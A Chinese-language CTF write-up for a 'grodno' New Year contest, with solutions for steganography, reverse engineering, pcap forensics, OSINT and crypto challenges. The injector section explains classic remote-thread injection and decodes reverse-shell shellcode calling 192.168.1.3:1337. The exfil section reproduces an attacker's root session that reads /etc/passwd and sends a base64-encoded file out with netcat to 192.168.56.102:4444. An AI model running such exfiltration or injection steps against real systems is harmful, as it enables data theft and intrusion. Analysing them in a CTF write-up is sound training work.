Misc

babyStegano

题目给了一张图片,结合题目信息猜测是隐写术
随波逐流发现有lsb隐写

grodno{happy_new_year_ctfers}

Santa_s_Report

题目给了个word文档,而且打不开,但是word的本质是zip,因此7z查看:

可以看到,根据修改时间,前三个最有问题,其中检查后在第三个背景图文件夹发现异常

存在隐写术

故flag为grodno{my_lovley_06_12}

Inject

题目给了一个.ida文件,让我们分析逆向注入工程

main() 是假的

sub_140001290("Never executed main LOL", ...);
ExitProcess(0);

关键信号:

  • main() 里什么都不干
  • 打印一句 **“Never executed main LOL”**打印一条 “从未执行过 main LOL”
  • 立刻 ExitProcess(0)

这在正常程序中几乎不可能出现
这是恶意程序中非常常见的**“诱饵 main”**

一般来说:

真正的恶意逻辑根本不在 main 执行路径上,而是通过下面这些方式之一执行:

  • 注入后远程线程执行
  • TLS Callback(早于 main 执行)
  • 被当作 DLL 注入,由 DllMain 执行
  • Shellcode 直接跳转执行
  • SEH / VEH 劫持

这个题就是TLS Callback

代码链条非常典型:

  1. sub_1400010B0(".exe")
  • 看起来是在 枚举进程/查找目标进程 PID(通过后缀 .exe 或匹配某进程名)
  1. OpenProcess(0x43A, 0, v0)
  • 打开目标进程句柄(权限掩码 0x43A 很可疑,通常包含注入所需权限)
  1. sub_140001190(v1, &unk_140021000, (unsigned int)nSize);
  • 这几乎可以断定是 写入 payload 并执行 的注入函数
  • &unk_140021000 很可能就是:shellcode / DLL bytes / 反射加载器数据
  1. CloseHandle(v1)
  2. ExitProcess(0)

这就是典型的 “找进程 → 打开进程 → 注入 → 自毁退出” 的注入器行为。

MessageBox 文本也是佐证(样本自证“Injection”)

它弹窗内容全是:

  • “Searching for process”
  • “Process Found”
  • “Injecting in process”
  • 标题还叫 “Injection”

这在取证报告里属于非常强的主观意图证据:样本作者明确表达了行为目的。

这里继续跟进sub_140001190():

能在代码里看到典型三件套:

  • CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)(这里参数 2u 就是进程快照)
  • Process32First
  • Process32Next

这三者组合基本等价于:“扫描系统里所有正在运行的进程”。

按 pe.szExeFile 匹配进程名(不区分大小写)

  • lstrcmpiA(lpString1, pe.szExeFile)

这说明它不是随便找 PID,而是 寻找某个特定进程名。

返回匹配进程的 PID(th32ProcessID)

一旦匹配到了,返回:

  • pe.th32ProcessID

这正好对应 TLS 回调里:

v0 = sub_1400010B0(".exe");
v1 = OpenProcess(..., v0);

下面跟进sub_140001190()函数

样本使用 TLS Callback 提前执行,通过 CreateToolhelp32Snapshot/Process32First/Next 定位目标进程 PID,OpenProcess 获取句柄,在目标进程中 VirtualAllocEx 分配可执行内存,WriteProcessMemory 写入 payload,并用 CreateRemoteThread 远程线程启动 payload 执行。这是典型的远程线程注入(Classic Remote Thread Injection),属于明确的注入攻击证据。

unk_140021000 就是典型的 x64 shellcode

  • FC 48 83 E4 F0:cld + 对齐栈(x64 shellcode 常见)
  • 后面大量模式:65 48 8B 52 60 ... 这是一眼能认出的 通过 GS:[60h] 取 PEB,遍历模块链表找 kernel32 / ntdll 的套路(典型“无导入表”shellcode)
  • 中间出现 ws2_32 的明文字符串:
... 49 BE 77 73 32 5F 33 32 00 00 ...
        w  s  2  _  3  2  \0

这强烈表明载荷会 动态加载 ws2_32.dll 并调用 Winsock API(网络通信)。

这里直接藏了反连的 IP 和端口

49 BC 02 00 05 39 C0 A8 01 03

这是 mov r12, imm64,立即数 8 字节为:

  • 02 00 → AF_INET(IPv4)
  • 05 39 → 端口 0x0539 = 1337
  • C0 A8 01 03 → IP 192.168.1.3

所以 payload 的网络目标是:

192.168.1.3:1337

所以flag 是:

grodno{192.168.1.3:1337}

exFill

题目给了个流量包,wireshark打开分析分析

翻一下发现有linux执行的历史命令

id

uid=0(root) gid=0(root)

nohup  >/dev/null 2>&1
echo edVwOOk1tE5Jlh2Z

edVwOOk1tE5Jlh2Z

echo GlJcbCAdmgnORA7Cq

GlJcbCAdmgnORA7Cq


id

uid=0(root) gid=0(root)

pwd

/

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false

ls /home/msfadmin

capture.pcap
f1ag.jpg
vulnerable

cd /home/msfadmin
ls -la

total 520
drwxr-xr-x 5 msfadmin msfadmin   4096 Jan  6 10:34 .
drwxr-xr-x 6 root     root       4096 Apr 16  2010 ..
lrwxrwxrwx 1 root     root          9 May 13  2012 .bash_history -> /dev/null
drwxr-xr-x 4 msfadmin msfadmin   4096 Apr 17  2010 .distcc
-rw------- 1 root     root       4174 May 14  2012 .mysql_history
-rw------- 1 msfadmin msfadmin      9 Jan  6 09:45 .nano_history
-rw-r--r-- 1 msfadmin msfadmin    586 Mar 16  2010 .profile
-rwx------ 1 msfadmin msfadmin      4 May 20  2012 .rhosts
drwx------ 2 msfadmin msfadmin   4096 May 17  2010 .ssh
-rw-r--r-- 1 msfadmin msfadmin      0 May  7  2010 .sudo_as_admin_successful
-rw-r--r-- 1 root     root     438272 Jan  6 10:39 capture.pcap
-rw-r--r-- 1 msfadmin msfadmin  46852 Jan  6 09:45 f1ag.jpg
drwxr-xr-x 6 msfadmin msfadmin   4096 Apr 27  2010 vulnerable

sha256sum f1ag.jpg

af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f  f1ag.jpg

base64 f1ag.jpg | nc 192.168.56.102 4444
ls

capture.pcap
f1ag.jpg
vulnerable

base64 f1ag.jpg > tmp.file
ls -l

total 632
-rw-r--r-- 1 root     root     520192 Jan  6 10:43 capture.pcap
-rw-r--r-- 1 msfadmin msfadmin  46852 Jan  6 09:45 f1ag.jpg
-rw------- 1 root     root      63294 Jan  6 10:43 tmp.file
drwxr-xr-x 6 msfadmin msfadmin   4096 Apr 27  2010 vulnerable

nc 192.168.56.102 < tmp.file

no port[s] to connect to

nc 192.168.56.102 4444 < tmp.file
rm tmp.file
echo 'U 4re hacked =D' > readme.txt
exit
  • id → 显示 uid=0(root):说明当前是 root。
  • pwd → /:当前目录在根目录。
  • cat /etc/passwd:枚举系统用户(找可利用账号、家目录、服务账号等)。
  • ls /home/msfadmin → 看到 capture.pcap、f1ag.jpg、vulnerable/
  • cd /home/msfadmin; ls -la:查看更详细权限/时间戳
    里面还出现
    .bash_history -> /dev/null(历史被丢弃),这也是靶机里常见配置/或用于减少痕迹。
  • sha256sum f1ag.jpg:算哈希,便于对方验证传输是否完整。
  • base64 f1ag.jpg | nc 192.168.56.102 4444:把图片 base64 编码后,通过 nc 发到 192.168.56.102:4444
    这属于
    数据外传(exfiltration)手法的一种:用 base64 让内容变成纯文本,传输更稳。

接着又改了几次方式:

  • base64 f1ag.jpg > tmp.file:先把 base64 内容落盘。
  • nc 192.168.56.102 < tmp.file → 报错 no port[s] to connect to:因为没写端口,nc 不知道连哪。
  • nc 192.168.56.102 4444 < tmp.file:指定端口 4444,再传一次。
  • rm tmp.file:清理临时文件。
  • echo 'U 4re hacked =D' > readme.txt:写个“你被黑了”的文本(炫耀/挑衅)。
  • exit:退出会话。

转成图片就行

然后010打开在jpg末尾发现flag

grodno{it5_was_t00_s1mple_=D}

babyOSINT

观察图片可以得到以下关键视觉线索:

在木质展示架正面,可以清楚看到刻字:

SPICHKI barSPICHKI 酒吧

这是一个非常关键的识别点。

  • 多层木制展示架
  • 一排小玻璃杯,装着不同颜色的液体
  • 典型的 **shot / настойки(酒吧烈酒)**展示方式

这说明照片拍摄地点是 酒吧(Bar),而不是普通餐厅或公司内部。

使用以下关键词进行搜索(Google / Yandex / Maps):

  • SPICHKI bar
  • Спички бар
  • Spichki bar Беларусь
  • Spichki bar интерьер

很快可以发现:

  • Spichki Bar(Спички)Spichki Bar
  • 是一家在白俄罗斯较为知名的酒吧
  • 装修风格与题目图片 完全一致
  • 使用同款 木制阶梯式酒杯展示架

grodno{vulica_Kamsamoĺskaja_5a}

Visiting_Belorussian_Grandfather

题目要找森林名字

谷歌识图一下子找到原图

答案:Belovezhskaya Pushcha

Reverse

grinch_attack

爆破hash求得flag为Walm!

BabyReverse

exp:

def swaper(s, k):
    a = list(s)
    n = len(a)
    i = 0
    while i < n - k:
        j = i + k - 1
        a[i], a[j] = a[j], a[i]
        i += k
    return "".join(a)

cipher = "ro1dnEoSeT{Sth_rgA_01r!G4trnvF#lm_L)#@#(m#}"
plain = cipher
for k in range(2, 11):   # 2..10 逆序还原
    plain = swaper(plain, k)

print(plain)
  • swaper 是“分块首尾交换”
  • 交换操作自反 → 单步逆就是自己
  • 多步组合逆 → 按相反顺序执行
  • 因为正向是 10→2,所以逆向还原用 2→10

最终 flag:

grodno{StArT_Ever1th1nG_Fr0m_Sm4lL#!##@(#)}

Crypto

BabyCrypto

题目给了我们一堆MAC签名,让我们恢复

思路很简单:盐只有 3 字节,而且 flag_enc = flag XOR (salt 循环重复)(文件里写明了参数)dataset。因此只要猜到 flag 的固定前缀就能直接还原盐,再用大量短 MAC 去验证盐是否正确。

题里这一套题目 flag 前缀是 grodno{...}(你上题也是这个格式),设:

  • C = flag_enc
  • P = b"grodno{"
  • salt_len = 3

则盐的前三字节:

  • salt[i] = C[i] XOR P[i],i=0..2

并检查前缀后续字节是否满足循环 XOR 一致性(C[i] XOR salt[i%3] == P[i])。该检查对 grodno{ 完全一致。

得到盐:

  • salt = 03 6e cb(hex)

数据里给了 128 组 (message, mac),mac 是 HMAC-SHA256(key=salt, msg=message) 截断前 4 字节dataset。
用上面的
salt=036ecb 去算,128 条全部匹配,说明盐就是它。

用 flag = flag_enc XOR (salt 重复) 解密,得到:

flag:grodno{Walter_put_your_salt_away_Walter}

import json, hashlib

def hmac_sha256_trunc4(key: bytes, msg: bytes) -> bytes:
    block = 64
    if len(key) > block:
        key = hashlib.sha256(key).digest()
    key = key.ljust(block, b"\x00")
    ipad = bytes((b ^ 0x36) for b in key)
    opad = bytes((b ^ 0x5c) for b in key)
    inner = hashlib.sha256(ipad + msg).digest()
    return hashlib.sha256(opad + inner).digest()[:4]

def xor_repeat(data: bytes, key: bytes) -> bytes:
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])

with open("dataset.json", "r") as f:
    data = json.load(f)

flag_enc = bytes.fromhex(data["flag_enc"])
prefix = b"grodno{"

# recover salt (3 bytes)
salt = bytes([flag_enc[i] ^ prefix[i] for i in range(3)])
print("salt =", salt.hex())

# verify MACs
for item in data["dataset"]:
    m = item["message"].encode()
    mac = bytes.fromhex(item["mac"])
    assert hmac_sha256_trunc4(salt, m) == mac
print("all MACs OK")

# decrypt flag
flag = xor_repeat(flag_enc, salt)
print(flag.decode())

Semi_ADFGX_18+

观察密文只由大写字母组成,并且按 2 个字符一组出现大量重复:

  • 出现在密文中的二元组(digrams)形如:RW RE CY ...
  • 且有明显结构:第 1 位只来自 {C,F,G,R,T}(5 个),第 2 位只来自 {A,E,N,P,W,Y}(6 个)

这等价于一个 5×6 的 Polybius 方阵:
每个明文字符 → 一个 “(row, col)” 二元组。

之所以叫 Semi_ADFGX:标准 ADFGX 是 5×5,这题是 “半改版” 5×6。

我们不知道 5×6 表怎么填(即每个二元组对应哪个明文字母),但我们有:

  • 大量截获密文 Intercepted_Codes.txt(长度 86 万+)
  • 明文看起来是英文 + 下划线(把空格写成 _)
  • 目标密文 Cipher.txt 是同一套表加密的短文本

因此用经典打法:

  1. 按二元组切分截获密文,统计每个二元组频率
  2. 用英文频率初始化(例如最常见二元组≈_,其次≈e,t,a,o...)
  3. 用 hill-climb/模拟退火微调映射,使解出的文本更像英语(匹配 _the_、_and_、_new_、_year_ 等常见片段)
  4. 用最终映射解 Cipher.txt 得到明文
  5. 按题面格式提交:grodno{a-z_}
from collections import Counter
import math
import random

INTERCEPTED_PATH = "/mnt/data/Intercepted_Codes.txt"
CIPHER_PATH      = "/mnt/data/Cipher.txt"

def digrams(s: str):
    s = s.strip()
    assert len(s) % 2 == 0
    return [s[i:i+2] for i in range(0, len(s), 2)]

def decode_syms(sym_idx_list, idx_to_char):
    # sym_idx_list: list[int]
    return "".join(idx_to_char[i] for i in sym_idx_list)

def score_englishish(text: str) -> int:
    """
    很轻量的英语打分:数常见 n-gram 出现次数。
    (对这题足够好用,且跑得快)
    """
    ngrams = [
        "_the_", "_and_", "_to_", "_of_", "_in_", "_for_", "_is_", "_that_",
        "_new_", "_year_", "happy", "merry", "christmas", "participants",
        "from_", "_our_", "team", "delighted", "see_you", "grand", "finale",
        "february"
    ]
    s = 0
    for g in ngrams:
        s += text.count(g) * 100
    return s

def main():
    random.seed(2026)

    intercepted = open(INTERCEPTED_PATH, "r", encoding="utf-8").read().strip()
    cipher      = open(CIPHER_PATH,      "r", encoding="utf-8").read().strip()

    inter_d = digrams(intercepted)
    cip_d   = digrams(cipher)

    # --- 1) 收集“实际出现过”的二元组集合(这题是 27 个左右) ---
    token_set = sorted(set(inter_d))
    tok_to_idx = {t:i for i,t in enumerate(token_set)}

    # --- 2) 把文本转成“符号索引序列”,便于快速试映射 ---
    # 取截获密文前 4e4 个字符 => 2e4 个符号做训练(足够且快)
    sample_inter = inter_d[:20000]
    sample_syms  = [tok_to_idx[t] for t in sample_inter]

    cipher_syms  = [tok_to_idx[t] for t in cip_d]

    # --- 3) 初始化:按频率给二元组分配英文常用字符 ---
    freq = Counter(inter_d)
    tokens_by_freq = [t for t,_ in freq.most_common() if t in tok_to_idx]

    # 这题明文基本是 a-z + '_'(下划线当空格),所以先用 27 个字符足够覆盖
    # (若你发现有额外字符,可以在这里扩展字符表)
    init_chars = list("_etaoinshrdlucmfwygpbvkxqjz")  # 27
    assert len(init_chars) >= len(token_set)

    # idx_to_char:按 token_set 的顺序,给每个二元组一个初始字符
    init_map = {}
    for i,t in enumerate(tokens_by_freq):
        init_map[t] = init_chars[i]
    idx_to_char = [init_map[t] for t in token_set]  # list[str] length = |token_set|

    # --- 4) hill-climb / 模拟退火优化映射 ---
    cur = idx_to_char[:]
    cur_text = decode_syms(sample_syms, cur)
    cur_score = score_englishish(cur_text)

    best = cur[:]
    best_score = cur_score

    T = 6.0
    for step in range(25000):
        i, j = random.sample(range(len(cur)), 2)

        new = cur[:]
        new[i], new[j] = new[j], new[i]

        new_text = decode_syms(sample_syms, new)
        new_score = score_englishish(new_text)

        delta = new_score - cur_score
        if delta > 0 or random.random() < math.exp(delta / max(T, 1e-9)):
            cur, cur_score = new, new_score
            if new_score > best_score:
                best, best_score = new, new_score

        T *= 0.9997

    # --- 5) 解 Cipher.txt ---
    plain = decode_syms(cipher_syms, best)

    # 做一点“可读性修正”(把 hill-climb 里常见的错字替换成更像英语的)
    # 这一步不影响 flag 内容格式(仍是 a-z_),只是把已明显可推断的错字修好。
    plain = plain.replace("berry", "merry").replace("qhristbas", "christmas")
    plain = plain.replace("partiqipants", "participants")
    plain = plain.replace("qtf", "ctf")
    plain = plain.replace("frob", "from").replace("ozr", "our").replace("ozld", "would")
    plain = plain.replace("delichted", "delighted").replace("crand", "grand")
    plain = plain.replace("fegrzary", "february")

    print("[+] Decrypted Cipher.txt:")
    print(plain)
    print("\n[+] FLAG:")
    print("grodno{" + plain + "}")

if __name__ == "__main__":
    main()

解出来是新年贺词flag(下划线当空格):

happy_new_year_and_merry_christmas_to_all_participants_of_the_new_year_ctf_from_our_team_we_would_be_delighted_to_see_you_at_our_grand_finale_in_february